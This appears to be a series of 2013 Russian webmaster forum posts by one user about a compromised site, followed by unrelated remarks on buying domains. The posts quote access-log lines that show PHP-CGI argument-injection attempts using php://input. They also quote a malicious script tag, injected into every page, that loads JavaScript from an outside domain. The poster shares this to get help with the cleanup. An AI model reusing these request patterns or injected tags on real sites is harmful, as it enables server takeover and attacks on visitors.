nevinskiibomzh

ничего не выдает...

пока просто поудалял урлы посмотрим, появится ли эта гадость снова, дальше уже буду вычищать полностью, пароли все поменял...

---------- Добавлено 13.09.2013 в 14:10 ----------

действительно данная папка присутствовала, удалил нафиг...

---------- Добавлено 13.09.2013 в 14:10 ----------

91.224.160.25 - - [09/Sep/2013:19:56:49 +0400] "POST /?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2f%2finput+-n HTTP/1.1" 200 16 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-"

91.224.160.25 - - [09/Sep/2013:19:56:49 +0400] "POST /phppath/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2f%2finput+-n HTTP/1.1" 200 16 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)" "-"

аналогичная фигня в логах...

запарился я уже чистить базу данных, за 3 дня ее так обильно забили, вредоносным кодом, что жуть просто...

Никто больше не сталкивался? Поиском все файлы пересмотрел не чего не находит, заменил права доступа к файлам, упорно все равно появляется в статьях, может через редактор взломали...

---------- Добавлено 13.09.2013 в 11:51 ----------

нашел решение в этой теме /ru/forum/811966

У меня на сайте везде сегодня обнаружил на всех страницах <script type="text/javascript" src="http://google-webmaster.ru/903ce9225fca3e988c2af215d4e544d3.js"></script>

я думаю, что связываться с этой зоной себе дороже...

я за вариант с ключевым словом в .ru

забыл добавить домен в reg.ru (безбумажная передача)

да отвалили за домен не мало, миллионы "мертвых" президентов...

так то оно так, но тема может быть разная я в 2002 году, сайт вообще принадлежал электронному магазину службы 0-84 - доставка любых расходных материалов по городу Краснодару...

а спорить о доменах 84, и 084 не разумно, так как там порядок цен сильно разнится...